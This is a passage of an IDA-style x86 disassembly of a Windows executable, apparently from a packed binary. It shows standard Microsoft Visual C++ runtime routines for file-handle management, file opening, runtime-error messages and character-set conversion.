mov [esi], edi cmp eax, 2 jnz short loc_423D68 loc_423D62: ; CODE XREF: sub_423BE6+163j ; sub_423BE6+16Ej or byte ptr [esi+4], 40h jmp short loc_423D77 ; --------------------------------------------------------------------------- loc_423D68: ; CODE XREF: sub_423BE6+17Aj cmp eax, 3 jnz short loc_423D77 or byte ptr [esi+4], 8 jmp short loc_423D77 ; --------------------------------------------------------------------------- loc_423D73: ; CODE XREF: sub_423BE6+13Ej or byte ptr [esi+4], 80h loc_423D77: ; CODE XREF: sub_423BE6+180j ; sub_423BE6+185j ... inc ebx cmp ebx, 3 jl short loc_423D18 push dword_4DE460 call dword_428038 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_423BE6 endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D9C proc near ; DATA XREF: .packed:0041E13Do ; sub_42285D+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423E3C mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423DCF: ; CODE XREF: sub_423D9C+90j cmp esi, 0FFFFFFFFh jz short loc_423E35 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423E23 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423E23 js short loc_423E2E mov edi, [ebx+8] push ebx call sub_41D344 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D386 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D41A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423E23: ; CODE XREF: sub_423D9C+40j ; sub_423D9C+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423DCF ; --------------------------------------------------------------------------- loc_423E2E: ; CODE XREF: sub_423D9C+54j mov eax, 0 jmp short loc_423E51 ; --------------------------------------------------------------------------- loc_423E35: ; CODE XREF: sub_423D9C+36j mov eax, 1 jmp short loc_423E51 ; --------------------------------------------------------------------------- loc_423E3C: ; CODE XREF: sub_423D9C+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D386 add esp, 8 pop ebp mov eax, 1 loc_423E51: ; CODE XREF: sub_423D9C+97j ; sub_423D9C+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423D9C endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D386 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423E74 proc near ; CODE XREF: sub_41E229+9p ; sub_41E24E+9p mov eax, dword_4DE0A8 cmp eax, 1 jz short loc_423E8B test eax, eax jnz short locret_423EAC cmp dword_43CFB4, 1 jnz short locret_423EAC loc_423E8B: ; CODE XREF: sub_423E74+8j push 0FCh call sub_423EAD mov eax, dword_4DE218 pop ecx test eax, eax jz short loc_423EA1 call eax loc_423EA1: ; CODE XREF: sub_423E74+29j push 0FFh call sub_423EAD pop ecx locret_423EAC: ; CODE XREF: sub_423E74+Cj ; sub_423E74+15j retn sub_423E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EAD proc near ; CODE XREF: sub_41E229+12p ; sub_41E24E+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43F8C8 loc_423EC0: ; CODE XREF: sub_423EAD+20j cmp edx, [eax] jz short loc_423ECF add eax, 8 inc ecx cmp eax, offset dword_43F958 jl short loc_423EC0 loc_423ECF: ; CODE XREF: sub_423EAD+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43F8C8[esi] jnz loc_423FFD mov eax, dword_4DE0A8 cmp eax, 1 jz loc_423FD7 test eax, eax jnz short loc_423F00 cmp dword_43CFB4, 1 jz loc_423FD7 loc_423F00: ; CODE XREF: sub_423EAD+44j cmp edx, 0FCh jz loc_423FFD lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_428074 ; GetModuleFileNameA test eax, eax jnz short loc_423F37 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C680 pop ecx pop ecx loc_423F37: ; CODE XREF: sub_423EAD+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B7B0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423F7A lea eax, [ebp+var_1A4] push eax call sub_41B7B0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BDC0 add esp, 10h loc_423F7A: ; CODE XREF: sub_423EAD+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C680 lea eax, [ebp+var_A0] push edi push eax call sub_41C690 lea eax, [ebp+var_A0] push offset asc_428C18 ; "\n\n" push eax call sub_41C690 push off_43F8CC[esi] lea eax, [ebp+var_A0] push eax call sub_41C690 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_4256B1 add esp, 2Ch pop edi jmp short loc_423FFD ; --------------------------------------------------------------------------- loc_423FD7: ; CODE XREF: sub_423EAD+3Cj ; sub_423EAD+4Dj lea eax, [ebp+arg_0] lea esi, off_43F8CC[esi] push 0 push eax push dword ptr [esi] call sub_41B7B0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_428034 ; GetStdHandle push eax call dword_4280E0 ; WriteFile loc_423FFD: ; CODE XREF: sub_423EAD+2Ej ; sub_423EAD+59j ... pop esi leave retn sub_423EAD endp ; =============== S U B R O U T I N E ======================================= sub_424000 proc near ; CODE XREF: sub_42425E:loc_4243D6p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DE360 loc_42400F: ; CODE XREF: sub_424000+48j mov eax, [ecx] test eax, eax jz short loc_42404C lea edx, [eax+100h] loc_42401B: ; CODE XREF: sub_424000+28j cmp eax, edx jnb short loc_42403B test byte ptr [eax+4], 1 jz short loc_42402A add eax, 8 jmp short loc_42401B ; --------------------------------------------------------------------------- loc_42402A: ; CODE XREF: sub_424000+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42408F loc_42403B: ; CODE XREF: sub_424000+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DE460 jl short loc_42400F jmp short loc_42408F ; --------------------------------------------------------------------------- loc_42404C: ; CODE XREF: sub_424000+13j mov esi, 100h push esi call sub_41BCA5 test eax, eax pop ecx jz short loc_42408F add dword_4DE460, 20h lea ecx, ds:4DE360h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_424072: ; CODE XREF: sub_424000+88j cmp eax, edx jnb short loc_42408A and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_424072 ; --------------------------------------------------------------------------- loc_42408A: ; CODE XREF: sub_424000+74j shl edi, 5 mov ebx, edi loc_42408F: ; CODE XREF: sub_424000+39j ; sub_424000+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_424000 endp ; =============== S U B R O U T I N E ======================================= sub_424095 proc near ; CODE XREF: sub_42425E+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DE460 push edi jnb short loc_4240F5 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DE360h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_4240F5 cmp dword_43CFB4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_4240EB sub eax, 0 jz short loc_4240E2 dec eax jz short loc_4240DD dec eax jnz short loc_4240EB push ebx push 0FFFFFFF4h jmp short loc_4240E5 ; --------------------------------------------------------------------------- loc_4240DD: ; CODE XREF: sub_424095+3Ej push ebx push 0FFFFFFF5h jmp short loc_4240E5 ; --------------------------------------------------------------------------- loc_4240E2: ; CODE XREF: sub_424095+3Bj push ebx push 0FFFFFFF6h loc_4240E5: ; CODE XREF: sub_424095+46j ; sub_424095+4Bj call dword_42802C ; SetStdHandle loc_4240EB: ; CODE XREF: sub_424095+36j ; sub_424095+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_424109 ; --------------------------------------------------------------------------- loc_4240F5: ; CODE XREF: sub_424095+Cj ; sub_424095+28j and dword_4DE030, 0 mov dword_4DE02C, 9 or eax, 0FFFFFFFFh loc_424109: ; CODE XREF: sub_424095+5Ej pop edi pop esi retn sub_424095 endp ; =============== S U B R O U T I N E ======================================= sub_42410C proc near ; CODE XREF: sub_41E272+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DE460 push edi jnb short loc_42416F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DE360h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42416F cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42416F cmp dword_43CFB4, 1 jnz short loc_424165 xor eax, eax sub ecx, eax jz short loc_42415C dec ecx jz short loc_424157 dec ecx jnz short loc_424165 push eax push 0FFFFFFF4h jmp short loc_42415F ; --------------------------------------------------------------------------- loc_424157: ; CODE XREF: sub_42410C+41j push eax push 0FFFFFFF5h jmp short loc_42415F ; --------------------------------------------------------------------------- loc_42415C: ; CODE XREF: sub_42410C+3Ej push eax push 0FFFFFFF6h loc_42415F: ; CODE XREF: sub_42410C+49j ; sub_42410C+4Ej call dword_42802C ; SetStdHandle loc_424165: ; CODE XREF: sub_42410C+38j ; sub_42410C+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_424183 ; --------------------------------------------------------------------------- loc_42416F: ; CODE XREF: sub_42410C+Cj ; sub_42410C+2Aj ... and dword_4DE030, 0 mov dword_4DE02C, 9 or eax, 0FFFFFFFFh loc_424183: ; CODE XREF: sub_42410C+61j pop edi pop esi retn sub_42410C endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_41E272+32p ; sub_41E272+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DE460 jnb short loc_4241AE mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DE360[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4241AE mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4241AE: ; CODE XREF: sub_424186+Aj ; sub_424186+23j and dword_4DE030, 0 mov dword_4DE02C, 9 or eax, 0FFFFFFFFh retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241C3 proc near ; CODE XREF: sub_41E350+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DE460 jnb short loc_42420C mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DE360[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_42420C push eax call sub_424186 pop ecx push eax call dword_428028 ; FlushFileBuffers test eax, eax jnz short loc_424201 call dword_42808C ; RtlGetLastWin32Error jmp short loc_424203 ; --------------------------------------------------------------------------- loc_424201: ; CODE XREF: sub_4241C3+34j xor eax, eax loc_424203: ; CODE XREF: sub_4241C3+3Cj test eax, eax jz short locret_424219 mov dword_4DE030, eax loc_42420C: ; CODE XREF: sub_4241C3+Aj ; sub_4241C3+22j mov dword_4DE02C, 9 or eax, 0FFFFFFFFh locret_424219: ; CODE XREF: sub_4241C3+42j retn sub_4241C3 endp ; =============== S U B R O U T I N E ======================================= sub_42421A proc near ; CODE XREF: sub_41F843+32p ; sub_41FD8A+6Cp ... arg_0 = dword ptr 4 inc dword_4DE104 push 1000h call sub_41BCA5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424243 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424254 ; --------------------------------------------------------------------------- loc_424243: ; CODE XREF: sub_42421A+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424254: ; CODE XREF: sub_42421A+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_42421A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42425E proc near ; CODE XREF: sub_41FB2D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424284 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42428F ; --------------------------------------------------------------------------- loc_424284: ; CODE XREF: sub_42425E+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42428F: ; CODE XREF: sub_42425E+24j mov eax, 8000h test ecx, eax jnz short loc_4242A9 test ch, 40h jnz short loc_4242A5 cmp dword_4DE328, eax jz short loc_4242A9 loc_4242A5: ; CODE XREF: sub_42425E+3Dj or [ebp+var_1], 80h loc_4242A9: ; CODE XREF: sub_42425E+38j ; sub_42425E+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242E1 dec eax jz short loc_4242D8 dec eax jz short loc_4242CF loc_4242BA: ; CODE XREF: sub_42425E+9Fj ; sub_42425E+E8j ... mov dword_4DE02C, 16h mov dword_4DE030, ebx jmp loc_4244F4 ; --------------------------------------------------------------------------- loc_4242CF: ; CODE XREF: sub_42425E+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242E8 ; --------------------------------------------------------------------------- loc_4242D8: ; CODE XREF: sub_42425E+57j mov [ebp+var_C], 40000000h jmp short loc_4242E8 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42425E+54j mov [ebp+var_C], 80000000h loc_4242E8: ; CODE XREF: sub_42425E+78j ; sub_42425E+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_424316 cmp eax, 20h jz short loc_42430D cmp eax, 30h jz short loc_424304 cmp eax, 40h jnz short loc_4242BA mov [ebp+var_10], esi jmp short loc_424319 ; --------------------------------------------------------------------------- loc_424304: ; CODE XREF: sub_42425E+9Aj mov [ebp+var_10], 2 jmp short loc_424319 ; --------------------------------------------------------------------------- loc_42430D: ; CODE XREF: sub_42425E+95j mov [ebp+var_10], 1 jmp short loc_424319 ; --------------------------------------------------------------------------- loc_424316: ; CODE XREF: sub_42425E+90j mov [ebp+var_10], ebx loc_424319: ; CODE XREF: sub_42425E+A4j ; sub_42425E+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424363 jz short loc_42435E cmp ecx, ebx jz short loc_42435E cmp ecx, edi jz short loc_424355 cmp ecx, 200h jz short loc_42437C cmp ecx, 300h jnz loc_4242BA mov [ebp+var_8], 2 jmp short loc_42438C ; --------------------------------------------------------------------------- loc_424355: ; CODE XREF: sub_42425E+D8j mov [ebp+var_8], 4 jmp short loc_42438C ; --------------------------------------------------------------------------- loc_42435E: ; CODE XREF: sub_42425E+D0j ; sub_42425E+D4j mov [ebp+var_8], esi jmp short loc_42438C ; --------------------------------------------------------------------------- loc_424363: ; CODE XREF: sub_42425E+CEj cmp ecx, 500h jz short loc_424385 cmp ecx, 600h jz short loc_42437C cmp ecx, edx jz short loc_424385 jmp loc_4242BA ; --------------------------------------------------------------------------- loc_42437C: ; CODE XREF: sub_42425E+E0j ; sub_42425E+113j mov [ebp+var_8], 5 jmp short loc_42438C ; --------------------------------------------------------------------------- loc_424385: ; CODE XREF: sub_42425E+10Bj ; sub_42425E+117j mov [ebp+var_8], 1 loc_42438C: ; CODE XREF: sub_42425E+F5j ; sub_42425E+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_4243AB mov ecx, dword_4DE034 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_4243AB push 1 pop esi loc_4243AB: ; CODE XREF: sub_42425E+138j ; sub_42425E+148j test al, 40h jz short loc_4243B9 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_4243B9: ; CODE XREF: sub_42425E+14Fj test ah, 10h jz short loc_4243C0 or esi, edi loc_4243C0: ; CODE XREF: sub_42425E+15Ej test al, 20h jz short loc_4243CC or esi, 8000000h jmp short loc_4243D6 ; --------------------------------------------------------------------------- loc_4243CC: ; CODE XREF: sub_42425E+164j test al, 10h jz short loc_4243D6 or esi, 10000000h loc_4243D6: ; CODE XREF: sub_42425E+16Cj ; sub_42425E+170j call sub_424000 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243F7 and dword_4DE030, 0 mov dword_4DE02C, 18h jmp short loc_424435 ; --------------------------------------------------------------------------- loc_4243F7: ; CODE XREF: sub_42425E+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_4280EC ; CreateFileA mov esi, eax cmp esi, edi jz short loc_424428 push esi call dword_428030 ; GetFileType test eax, eax jnz short loc_42443C push esi call dword_42806C ; CloseHandle loc_424428: ; CODE XREF: sub_42425E+1B6j call dword_42808C ; RtlGetLastWin32Error push eax call sub_420BDF pop ecx loc_424435: ; CODE XREF: sub_42425E+197j mov eax, edi jmp loc_424512 ; --------------------------------------------------------------------------- loc_42443C: ; CODE XREF: sub_42425E+1C1j cmp eax, 2 jnz short loc_424447 or [ebp+var_1], 40h jmp short loc_424450 ; --------------------------------------------------------------------------- loc_424447: ; CODE XREF: sub_42425E+1E1j cmp eax, 3 jnz short loc_424450 or [ebp+var_1], 8 loc_424450: ; CODE XREF: sub_42425E+1E7j ; sub_42425E+1ECj push esi push ebx call sub_424095 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DE360h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244F9 test al, 80h jz short loc_4244F9 test byte ptr [ebp+arg_4], 2 jz short loc_4244F9 push 2 push 0FFFFFFFFh push ebx call sub_422FE4 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_4244AE cmp dword_4DE030, 83h jz short loc_4244F9 jmp short loc_4244ED ; --------------------------------------------------------------------------- loc_4244AE: ; CODE XREF: sub_42425E+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F91C add esp, 0Ch test eax, eax jnz short loc_4244DB cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244DB push [ebp+var_10] push ebx call sub_42573A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244ED loc_4244DB: ; CODE XREF: sub_42425E+265j ; sub_42425E+26Bj push 0 push 0 push ebx call sub_422FE4 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244F9 loc_4244ED: ; CODE XREF: sub_42425E+24Ej ; sub_42425E+27Bj push ebx call sub_41E272 pop ecx loc_4244F4: ; CODE XREF: sub_42425E+6Cj or eax, 0FFFFFFFFh jmp short loc_424512 ; --------------------------------------------------------------------------- loc_4244F9: ; CODE XREF: sub_42425E+221j ; sub_42425E+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_424510 test byte ptr [ebp+arg_4], 8 jz short loc_424510 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_424510: ; CODE XREF: sub_42425E+29Fj ; sub_42425E+2A5j mov eax, ebx loc_424512: ; CODE XREF: sub_42425E+1D9j ; sub_42425E+299j pop edi pop esi pop ebx leave retn sub_42425E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424517 proc near ; CODE XREF: sub_41FD15+5Ep ; sub_4208E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428C58 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DE220 xor ebx, ebx cmp eax, ebx jnz short loc_424586 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_428948 push esi call dword_428020 ; GetStringTypeW test eax, eax jz short loc_424564 mov eax, esi jmp short loc_424581 ; --------------------------------------------------------------------------- loc_424564: ; CODE XREF: sub_424517+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CDB1C push esi push ebx call dword_428024 ; GetStringTypeA test eax, eax jz loc_42464C push 2 pop eax loc_424581: ; CODE XREF: sub_424517+4Bj mov dword_4DE220, eax loc_424586: ; CODE XREF: sub_424517+2Fj cmp eax, 2 jnz short loc_4245AF mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424597 mov eax, dword_4DE0EC loc_424597: ; CODE XREF: sub_424517+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_428024 ; GetStringTypeA jmp loc_42464E ; --------------------------------------------------------------------------- loc_4245AF: ; CODE XREF: sub_424517+72j cmp eax, 1 jnz loc_42464C cmp [ebp+arg_10], ebx jnz short loc_4245C5 mov eax, dword_4DE0FC mov [ebp+arg_10], eax loc_4245C5: ; CODE XREF: sub_424517+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_428184 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_42464C mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BD60 add esp, 0Ch jmp short loc_42461B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_42461B: ; CODE XREF: sub_424517+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_42464C push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_428184 ; MultiByteToWideChar cmp eax, ebx jz short loc_42464C push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_428020 ; GetStringTypeW jmp short loc_42464E ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_424517+61j ; sub_424517+9Bj ... xor eax, eax loc_42464E: ; CODE XREF: sub_424517+93j ; sub_424517+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_424517 endp ; =============== S U B R O U T I N E ======================================= sub_424660 proc near ; CODE XREF: sub_41FD8A+61p ; sub_420C46+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DE460 jb short loc_42466F xor eax, eax retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424660+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DE360[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_424660 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424686 proc near ; CODE XREF: sub_41FE9F+2D4p ; sub_41FE9F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_424692 pop ebp retn ; --------------------------------------------------------------------------- loc_424692: ; CODE XREF: sub_424686+8j cmp dword_4DE0EC, 0 jnz short loc_4246AD mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246DF push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_4246AD: ; CODE XREF: sub_424686+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43F1F4 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DE0FC call dword_428180 ; WideCharToMultiByte test eax, eax jz short loc_4246DF cmp [ebp+arg_0], 0 jz short loc_4246EC loc_4246DF: ; CODE XREF: sub_424686+1Ej ; sub_424686+51j mov dword_4DE02C, 2Ah or eax, 0FFFFFFFFh loc_4246EC: ; CODE XREF: sub_424686+57j pop ebp retn sub_424686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246EE proc near ; CODE XREF: sub_420D10+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_424711 cmp [ebp+arg_8], ebx jz short loc_424711 mov al, [esi] cmp al, bl jnz short loc_424717 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_424711 mov [eax], bx loc_424711: ; CODE XREF: sub_4246EE+Cj ; sub_4246EE+11j ... xor eax, eax loc_424713: ; CODE XREF: sub_4246EE+42j ; sub_4246EE+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_424717: ; CODE XREF: sub_4246EE+17j cmp dword_4DE0EC, ebx jnz short loc_424732 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42472D movzx ax, al mov [ecx], ax loc_42472D: ; CODE XREF: sub_4246EE+36j ; sub_4246EE+C0j push 1 pop eax jmp short loc_424713 ; --------------------------------------------------------------------------- loc_424732: ; CODE XREF: sub_4246EE+2Fj mov ecx, off_43EFE8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42478F mov eax, dword_43F1F4 cmp eax, 1 jle short loc_424776 cmp [ebp+arg_8], eax jl short loc_424780 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DE0FC call dword_428184 ; MultiByteToWideChar test eax, eax mov eax, dword_43F1F4 jnz short loc_424713 loc_424776: ; CODE XREF: sub_4246EE+5Cj cmp [ebp+arg_8], eax jb short loc_424780 cmp [esi+1], bl jnz short loc_424713 loc_424780: ; CODE XREF: sub_4246EE+61j ; sub_4246EE+8Bj ... mov dword_4DE02C, 2Ah or eax, 0FFFFFFFFh jmp short loc_424713 ; --------------------------------------------------------------------------- loc_42478F: ; CODE XREF: sub_4246EE+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DE0FC call dword_428184 ; MultiByteToWideChar test eax, eax jnz loc_42472D jmp short loc_424780 sub_4246EE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247C0 proc near ; CODE XREF: sub_420D10+797p ; sub_420D10+7E7p cmp cl, 40h jnb short loc_4247DA cmp cl, 20h jnb short loc_4247D0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247D0: ; CODE XREF: sub_4247C0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247DA: ; CODE XREF: sub_4247C0+3j xor eax, eax xor edx, edx retn sub_4247C0 endp ; =============== S U B R O U T I N E ======================================= sub_4247DF proc near ; CODE XREF: sub_421786+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42482B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247FD test al, 80h jz short loc_42482B test al, 2 jnz short loc_42482B loc_4247FD: ; CODE XREF: sub_4247DF+14j cmp dword ptr [esi+8], 0 jnz short loc_42480A push esi call sub_42421A pop ecx loc_42480A: ; CODE XREF: sub_4247DF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_42481A cmp dword ptr [esi+4], 0 jnz short loc_42482B inc eax mov [esi], eax loc_42481A: ; CODE XREF: sub_4247DF+30j test byte ptr [esi+0Ch], 40h 